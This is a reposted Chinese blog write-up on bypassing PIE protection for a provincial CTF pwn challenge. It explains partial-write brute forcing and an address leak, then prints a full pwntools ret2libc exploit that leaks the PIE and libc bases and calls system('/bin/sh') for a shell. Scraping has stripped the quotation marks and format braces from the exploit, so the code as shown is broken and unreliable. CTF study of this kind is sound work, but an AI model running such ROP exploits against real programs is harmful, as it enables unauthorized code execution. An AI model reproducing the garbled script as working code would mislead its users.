PIE保护绕过

Posted countfatcode

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PIE保护绕过相关的知识,希望对你有一定的参考价值。

(一):partial write

开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write。但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是0到f,例如:

list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]

列表里是第二位字节可能的值,使用循环进行爆破。

(二):泄露地址

PIE 保护机制,影响的是程序加载的基址,并不会影响指令间的相对地址,因此如果我们能够泄露程序的某个地址,就可以通过修改偏移获得程序其它函数的地址。

这是浙江省省赛的一道pwn题,首先查看保护:

技术图片

 发现只有栈溢出没开。

用IDA查看反汇编代码,发现由两处可以输入的地方:

技术图片

 第一处的输入用户名时候

技术图片

 第二处则是在输入算式结果的时候

经过分析发现,在输入用户名时函数并不会给字符串末尾加上 ‘\\0‘ ,而 puts() 函数是在遇到 ‘\\0‘ 时结束输出,故我们可以利用这一特性泄露内存。可以采用填充8个字节或16个字节来泄露内存。在使用填充16个字节泄露内存时应注意是 p.send(‘A‘*16) 而非 p.sendline(‘A‘*16),否则多出来的 ‘\\n‘ 会影响接下来程序的执行。

 

第二处输入存在明显的栈溢出,故我们可以利用此处构造 payload。完整的exploit如下:

 

# -*- coding:utf-8 -*-
from pwn import *
libc = ELF(./libc.so.6)

context.log_level = debug
p = process(./uninit)
# libc=ELF(./libc.so.6)
gdb.attach(p)
p.sendafter("name:", A*16) # 发送填充16个字节
p.recvuntil(A*16)

PIE_addr = p.recvuntil("\\n")
PIE_addr = u64(PIE_addr[:-1].ljust(8, \\x00)) #用u64()解包地址
# PIE_addr=u64(p.readline()[:-1].ljust(8,\\x00))
log.success("PIE_addr ==> :#x".format(PIE_addr))

base1 = PIE_addr - (0x55e5dce05b39-0x000055e5dce05000) #计算程序加载基地址

pop_rdi_addr = base1 + 0x0000000000000fd3 # pop rdi;的地址,用于构造puts和system函数的参数
puts_plt = base1 + 0x940
offset = 0x30 + 0x8 #覆盖到栈底的填充字节
puts_got = base1 + 0x201F60
start_addr = base1 + 0x9c0 #程序起始运行处的地址
payload = offset*A + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(0x400, A)
#gdb.attach(p)
p.recvuntil("Tell me count of game:")
p.sendline(1)

p.recvuntil("Answer:")
p.send(payload)
puts_addr = u64(p.recv(6).ljust(8,\\x00))

base2=puts_addr-(0x7ff149172690-0x00007ff149103000) #libc加载基地址

log.success("puts_addr ==> :#x".format(puts_addr))
log.success("base2 ==> :#x".format(base2))

system_addr=libc.symbols[system]+base2 #system函数的地址
bin_sh_addr=next(libc.search(/bin/sh))+base2 #‘/bin/sh’的地址
log.success("bin_sh_addr ==> :#x".format(bin_sh_addr))
log.success("system_addr ==> :#x".format(system_addr))

payload2=offset*A+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
payload2+=p64(start_addr)
payload2=payload2.ljust(0x400,\\x00) #此处用‘\\x00’填充是考虑到调用system时需要的环境变量

p.sendlineafter("name:",A*8)
p.sendlineafter("game:",1)
p.sendafter("Answer:",payload2)

p.interactive("countfatcode $")

 (三):vdso/vsyscall

尚待补充

以上是关于PIE保护绕过的主要内容,如果未能解决你的问题,请参考以下文章

如何绕过 Selenium 中的 Cloudflare bot 保护

通过继承和函数指针绕过保护

YJX_Driver_021_绕过驱动保护

Linux中的保护机制

Canary5种绕过方式 栈溢出保护及整数保护

内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH